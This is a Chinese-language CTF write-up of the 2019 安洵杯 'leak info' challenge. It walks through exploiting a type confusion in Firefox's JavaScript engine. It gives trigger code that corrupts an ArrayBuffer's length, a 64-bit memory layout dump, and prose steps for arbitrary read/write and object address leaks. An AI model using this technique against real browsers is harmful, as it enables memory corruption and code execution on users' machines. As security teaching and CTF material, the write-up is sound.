leak info

发表于 2021-01-16 分类于 Challenge， 2019， 安洵杯， Reverse
Challenge | 2019 | 安洵杯 | Reverse | leak info

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/6912

题目考点

解题思路

1. 触发漏洞，造成溢出

更加样本，修改其中一些部分，然后做到溢出部分修改了某个ArrayBuffer byteLength。

给出样本代码：

```
let buf = [];
for(var i = 0 ; i < 4 ;i++)
{
    buf[i] = new ArrayBuffer(0x20);
}
var OOb_Object = buf[0];
var ChangeObject_Index = 0;
let buf_uint8 = new Uint8Array(OOb_Object);
let y = new Uint32Array(OOb_Object);
const v4 = [y, y, y, y, y];
function v7(v31) {
    if (v4.length == 0) {
        v4[3] = y;
    }
    const v11 = v4.pop();
    v11[18] = 0xa0;
    for (let v15 = 0; v15 < 10000; v15++) {}
}
var p = {};
p = [buf_uint8, y, y];
v4.__proto__ = p;

for (let v31 = 0; v31 < 2000; v31++) {
    v7(v31);
}
for(var i = 0 ; i < 10 ; i++)
{
    var len = buf[i].byteLength;
    if( len != 0x20)
    {
        ChangeObject_Index = i;
        break;
    }
}
```

上面的过程，将触发漏洞修改到 buf[1] 的byteLength 部分。从原来的 0x20 修改为0xa0。

这样就获得一个溢出的ArrayBuffer 对象，如下图。

注意申请的ArrayBuffer在内存的布局，它们是连续的。

另外，使用windbg 进行调试的时候，内存十分庞大，用常规的 s –d 等指令搜索会很慢很慢。

这里建议使用 !address 命令，然后找到类似如下图的内存，这些内存就是一些零散的堆块，用来存放申请的对象等数据。

然后在某一个buf 设置一些特殊值，比如：0x67890001

使用 Notepad++ 的列编辑功能，把上图的地址直接一列抓出来

复制到下面这样的位置，然后复制全部的命令，粘贴到windbg ，进行搜索。

如下图，这样搜索起来，快很多

2. 利用溢出的ArrayBuffer

使用长度被该为0xa0的ArrayBuffer ， 修改到下一个ArrayBuffer的长度，改为0x90400，这就是一个非常长的ArrayBuffer对象。方便后面做 任意地址读写了。

为什么要用0xa0 的ArrayBuffer来做到这一步，为什么不在漏洞触发的时候，就把0xa0的长度写长一些呢？

这是因为，漏洞触发的时候，混淆的对象是 Uint8Array 与 Uint32Array，Uint8Array 对象每次只能写入一个Byte。所以修改的数据最大也只能是0xFF。

具体情况动手去分析就明白了。

3. 任意地址读写

前面，已经有了一个byteLength 为0x90400的ArrayBuffer 。将这个ArrayBuffer初始化，可以初始化化为 Uint8Array，也可以是 DataView ，或者Uint32Array。

下面来分析ArrayBuffer在内存中的布局情况(64位与32位是不同的)。

先看如下图：

下面对照上图进行说明：

```
1  00000290 390070a0 000001af04c10040 Group_ 结构
2  00000290 390070a8 0000290390085b0 Shape 结构
3  00000290 390070b0 0000000000000000 Slot_ 结构
4  00000290 390070b8 000007fee27b1d28 xul!mozilla_dump_image+0x22ea9b8 Element 结构
5  00000290 390070c0 000001481c803870 数据区域指针，使用时要左移一位
6  00000290 390070c8 fff8800000000020 数据区域大小，byteLength
7  00000290 390070d0 fffe01af04c171c0 指向第一个视图的指针
8  00000290 390070d8 fff8800000000000 flag 位
9  00000290 390070e0 0000000000000000 数据部分
10 00000290 390070e8 0000000000000000
11 00000290 390070f0 0000000000000000
12 00000290 390070f8 0000000000000000
```

64位中特别的一点就是 ArrayBuffer 的数据指针是右移一位存放的，使用的时候需要左移一位。这里的数据指针就是：0x000001481c803870 左移一位 –> 0x00000290`390070e0

做任意地址读写的时候，也需要把要读写的地址，右移一位，放到这个位置去。然后，进行再次进行初始化，就能使用初始化的对象，对这个地址进行读写了。再次进行初始化非常很关键，不要忘记了。
将地址移位的函数很简单，但是，要注意左移和右移的时候，如果地址没有对齐，就会存在丢位。即奇数地址右移就丢了1位，需要另外补齐丢失的。

另外注意的一点，如果初始化为 Uint32Array 进行地址读写的，读取的时候，因为是一个Dword进行读，假如要读取的地址是： 0x00FF123400FF56789 ，那么第一次高8位读取 00FF56789 ，但是 00 会被丢弃，读出的数据是 FF56789 ； 第二次低8位读取00FF1234 ，00也被丢弃，读取FF1234。那么，把读取的数据当字符串进行拼接：“FF1234”+ “FF56789” = FF1234FF56789 ，与原地址00FF123400FF56789 不同的是缺少了高8位中丢弃的00。所以用Uint32Array进行读取需要补0。同样，使用Uint8Array 也存在这样的问题，00 会被当做 0 ， 也就缺少了一个0。

再次说明：读写地址的时候，先把地址右移一位，然后放到ArrayBuffer的buffer指针位置，
通过 0xa0 这个ArrayBuffer 对0x90400的ArrayBuffer的buffer指针进行操作。然后初始化。

4. 任意对象泄露

任意对象的泄露，是方便后续劫持函数，构造fake Class_ 等数据结构的时候，有地方存放，而不是随便放到内存某个位置。

任意对象泄露，是通过Array数组来实现。

在申请ArrayBuffer的时候，紧接着申请一个Array，这个Array分配空间不能太长，太长就会分配到其他位置去。刚刚合适就好，它就会申请在 ArrayBuffer 附近，然后赋特殊值。

```
1 myArray[0] = 0x12273447;
2 myArray[1] = [];
```

内存中的情况，如下图：

myArray[0] 存放特殊值，用0x90400的ArrayBuffer 进行寻找。找到之后，取出特殊值后面一个Qword ，也就是myArray[1] 。
myArray[1] 就可以用来存放任何对象，这样就能泄露任意对象的地址了。

5. 最后

现在有了任意地址泄露，任意对象泄露，那么剩下的操作就是水到渠成啦。

可以通过 NativeObject 的 elements 去泄露xul的基地址。

Flag

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2019/安洵杯/Reverse/85crd5oBLUad6WNLWjddep.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # Reverse # 2019 # 安洵杯
Game
funny_php